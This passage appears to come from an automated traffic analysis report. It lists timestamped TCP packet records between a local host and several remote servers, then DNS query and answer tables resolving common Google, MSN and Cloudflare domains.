Nov 19, 2024 20:05:51.843919992 CET	443	64156	20.3.187.198	192.168.2.7
Nov 19, 2024 20:05:51.891642094 CET	64167	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:51.891680002 CET	443	64167	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:51.891820908 CET	64167	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:51.892182112 CET	64167	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:51.892196894 CET	443	64167	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:51.900696039 CET	443	64159	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:51.901209116 CET	64159	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:51.901237011 CET	443	64159	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:51.901910067 CET	64159	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:51.901916027 CET	443	64159	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:51.901937008 CET	64159	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:51.901945114 CET	443	64159	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:51.916203022 CET	443	64151	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.916443110 CET	443	64151	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.916498899 CET	64151	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.917186022 CET	64151	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.917206049 CET	443	64151	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.917217016 CET	64151	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.917443991 CET	64151	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:52.055535078 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.055553913 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.055569887 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.055649042 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.055649042 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.055670023 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.055686951 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.055819988 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.055839062 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.055851936 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.055865049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.055875063 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.055875063 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.055875063 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.055882931 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.055978060 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.055978060 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.055989981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056003094 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056020021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056031942 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056032896 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056046963 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056063890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056063890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056118965 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056138992 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056153059 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056164026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056174994 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056200981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056248903 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056248903 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056248903 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056248903 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056462049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056476116 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056487083 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056499958 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056510925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056519032 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056519032 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056524038 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056539059 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056621075 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056627989 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056627989 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056627989 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056632996 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056647062 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056659937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056672096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056684971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056741953 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056741953 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056741953 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056741953 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056746960 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056873083 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.056957960 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056972027 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056982994 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.056997061 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057019949 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057019949 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057112932 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057132959 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057145119 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057157993 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057169914 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057171106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057171106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057178974 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057192087 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057205915 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057216883 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057228088 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057260990 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057261944 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057260990 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057260990 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057260990 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057260990 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057276011 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057287931 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057440996 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057455063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057490110 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057490110 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057490110 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057490110 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057605982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057621002 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057635069 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057646990 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057658911 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057661057 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057673931 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057687044 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057751894 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057754040 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057754040 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057754040 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057754040 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057765961 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057780981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057853937 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057853937 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057853937 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.057939053 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057950974 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057961941 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057975054 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.057986021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.058008909 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.058008909 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.058088064 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.058101892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.058115959 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.058150053 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.058150053 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.058150053 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.058221102 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.058234930 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.058248043 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.058300972 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.058300972 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.058353901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.058368921 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:52.058432102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.058432102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:52.144943953 CET	443	64160	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:52.154057026 CET	443	64161	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.154649973 CET	64160	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:52.154665947 CET	443	64160	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:52.155188084 CET	64161	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:52.155215979 CET	443	64161	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.155649900 CET	64161	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:52.155670881 CET	443	64161	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.155819893 CET	443	64160	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:52.156167030 CET	64160	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:52.156982899 CET	64160	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:52.157052994 CET	443	64160	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:52.157373905 CET	64160	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:52.157396078 CET	443	64160	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:52.157459021 CET	64160	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:52.157494068 CET	443	64160	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:52.183557034 CET	443	64162	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.184750080 CET	64162	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:52.184750080 CET	64162	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:52.184763908 CET	443	64162	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.184777975 CET	443	64162	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.205871105 CET	64160	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:52.265568018 CET	443	64161	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.265831947 CET	443	64161	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.268224955 CET	64161	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:52.268687963 CET	64161	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:52.268687963 CET	64161	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:52.268704891 CET	443	64161	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.268713951 CET	443	64161	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.304805040 CET	443	64159	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:52.304826975 CET	443	64159	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:52.304872036 CET	443	64159	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:52.304883003 CET	64159	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:52.304912090 CET	443	64159	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:52.304924965 CET	64159	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:52.305438042 CET	443	64159	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:52.305481911 CET	64159	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:52.308098078 CET	64168	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:52.308136940 CET	443	64168	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.308233976 CET	64168	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:52.309180021 CET	64159	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:52.309196949 CET	443	64159	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:52.325335026 CET	64168	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:52.325352907 CET	443	64168	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.328490973 CET	443	64163	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.328931093 CET	64163	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:52.328939915 CET	443	64163	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.329514980 CET	64163	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:52.329521894 CET	443	64163	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.338958979 CET	443	64164	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.339153051 CET	443	64160	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:52.339423895 CET	64164	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:52.339436054 CET	443	64164	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.339605093 CET	443	64160	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:52.339740992 CET	64160	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:52.339740992 CET	64160	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:52.339808941 CET	64160	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:52.341273069 CET	64164	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:52.341278076 CET	443	64164	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.363512039 CET	443	64162	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:52.363781929 CET	443	64162	13.107.246.45	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 19, 2024 20:05:28.433720112 CET	192.168.2.7	1.1.1.1	0x59fc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:28.433912039 CET	192.168.2.7	1.1.1.1	0x8561	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 19, 2024 20:05:31.193634987 CET	192.168.2.7	1.1.1.1	0x1890	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:31.193870068 CET	192.168.2.7	1.1.1.1	0xc82e	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 19, 2024 20:05:32.194577932 CET	192.168.2.7	1.1.1.1	0xb13	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:32.194715023 CET	192.168.2.7	1.1.1.1	0xc32f	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 19, 2024 20:05:38.618916988 CET	192.168.2.7	1.1.1.1	0x46d3	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:38.619262934 CET	192.168.2.7	1.1.1.1	0x9f44	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 19, 2024 20:05:39.644665003 CET	192.168.2.7	1.1.1.1	0xf0dd	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:39.645205975 CET	192.168.2.7	1.1.1.1	0x37e6	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 19, 2024 20:05:40.907043934 CET	192.168.2.7	1.1.1.1	0x9b3f	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:40.907233953 CET	192.168.2.7	1.1.1.1	0xc9fb	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 19, 2024 20:05:40.907541990 CET	192.168.2.7	1.1.1.1	0x946f	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:40.907671928 CET	192.168.2.7	1.1.1.1	0xad31	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 19, 2024 20:05:40.917011976 CET	192.168.2.7	1.1.1.1	0x1f11	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:40.917170048 CET	192.168.2.7	1.1.1.1	0xaf8b	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 19, 2024 20:05:40.923738003 CET	192.168.2.7	1.1.1.1	0x38a	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:40.923868895 CET	192.168.2.7	1.1.1.1	0x2297	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 19, 2024 20:05:42.823651075 CET	192.168.2.7	1.1.1.1	0x9967	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:42.824171066 CET	192.168.2.7	1.1.1.1	0x969a	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 19, 2024 20:05:42.944025993 CET	192.168.2.7	1.1.1.1	0x7d31	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:42.944344997 CET	192.168.2.7	1.1.1.1	0xddd9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 19, 2024 20:05:42.944662094 CET	192.168.2.7	1.1.1.1	0x7780	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:42.946079016 CET	192.168.2.7	1.1.1.1	0x8069	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 19, 2024 20:05:42.967530966 CET	192.168.2.7	1.1.1.1	0xc46a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:42.967668056 CET	192.168.2.7	1.1.1.1	0xf754	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 19, 2024 20:05:49.537914991 CET	192.168.2.7	1.1.1.1	0xf128	Standard query (0)	r.msftstatic.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:49.538064957 CET	192.168.2.7	1.1.1.1	0x5643	Standard query (0)	r.msftstatic.com	65	IN (0x0001)	false
Nov 19, 2024 20:05:50.771265030 CET	192.168.2.7	1.1.1.1	0x42b9	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Nov 19, 2024 20:06:39.598645926 CET	192.168.2.7	1.1.1.1	0xb2f	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:06:43.803812981 CET	192.168.2.7	1.1.1.1	0x63c6	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 19, 2024 20:05:28.441890955 CET	1.1.1.1	192.168.2.7	0x8561	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 19, 2024 20:05:28.441958904 CET	1.1.1.1	192.168.2.7	0x59fc	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:31.201134920 CET	1.1.1.1	192.168.2.7	0xc82e	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:31.201605082 CET	1.1.1.1	192.168.2.7	0x1890	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:31.201605082 CET	1.1.1.1	192.168.2.7	0x1890	No error (0)	plus.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:32.202707052 CET	1.1.1.1	192.168.2.7	0xb13	No error (0)	play.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:38.625786066 CET	1.1.1.1	192.168.2.7	0x46d3	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:38.626323938 CET	1.1.1.1	192.168.2.7	0x9f44	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:38.775188923 CET	1.1.1.1	192.168.2.7	0x319b	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:38.775188923 CET	1.1.1.1	192.168.2.7	0x319b	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:38.775799036 CET	1.1.1.1	192.168.2.7	0x593e	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:39.651988983 CET	1.1.1.1	192.168.2.7	0xf0dd	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:39.653798103 CET	1.1.1.1	192.168.2.7	0x37e6	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:40.914202929 CET	1.1.1.1	192.168.2.7	0x9b3f	No error (0)	sb.scorecardresearch.com		13.32.110.104	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:40.914202929 CET	1.1.1.1	192.168.2.7	0x9b3f	No error (0)	sb.scorecardresearch.com		13.32.110.18	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:40.914202929 CET	1.1.1.1	192.168.2.7	0x9b3f	No error (0)	sb.scorecardresearch.com		13.32.110.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:40.914202929 CET	1.1.1.1	192.168.2.7	0x9b3f	No error (0)	sb.scorecardresearch.com		13.32.110.8	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:40.914308071 CET	1.1.1.1	192.168.2.7	0x946f	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:40.914479971 CET	1.1.1.1	192.168.2.7	0xad31	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:40.924304962 CET	1.1.1.1	192.168.2.7	0xaf8b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:40.925199032 CET	1.1.1.1	192.168.2.7	0x1f11	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:40.931672096 CET	1.1.1.1	192.168.2.7	0x2297	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:40.932276011 CET	1.1.1.1	192.168.2.7	0x38a	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:42.830939054 CET	1.1.1.1	192.168.2.7	0x9967	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:42.830939054 CET	1.1.1.1	192.168.2.7	0x9967	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.65	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:42.845320940 CET	1.1.1.1	192.168.2.7	0x969a	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:42.950872898 CET	1.1.1.1	192.168.2.7	0x7d31	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:42.950872898 CET	1.1.1.1	192.168.2.7	0x7d31	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:42.951340914 CET	1.1.1.1	192.168.2.7	0x7780	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:42.951340914 CET	1.1.1.1	192.168.2.7	0x7780	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:42.952883959 CET	1.1.1.1	192.168.2.7	0x8069	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 19, 2024 20:05:42.953114033 CET	1.1.1.1	192.168.2.7	0xddd9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
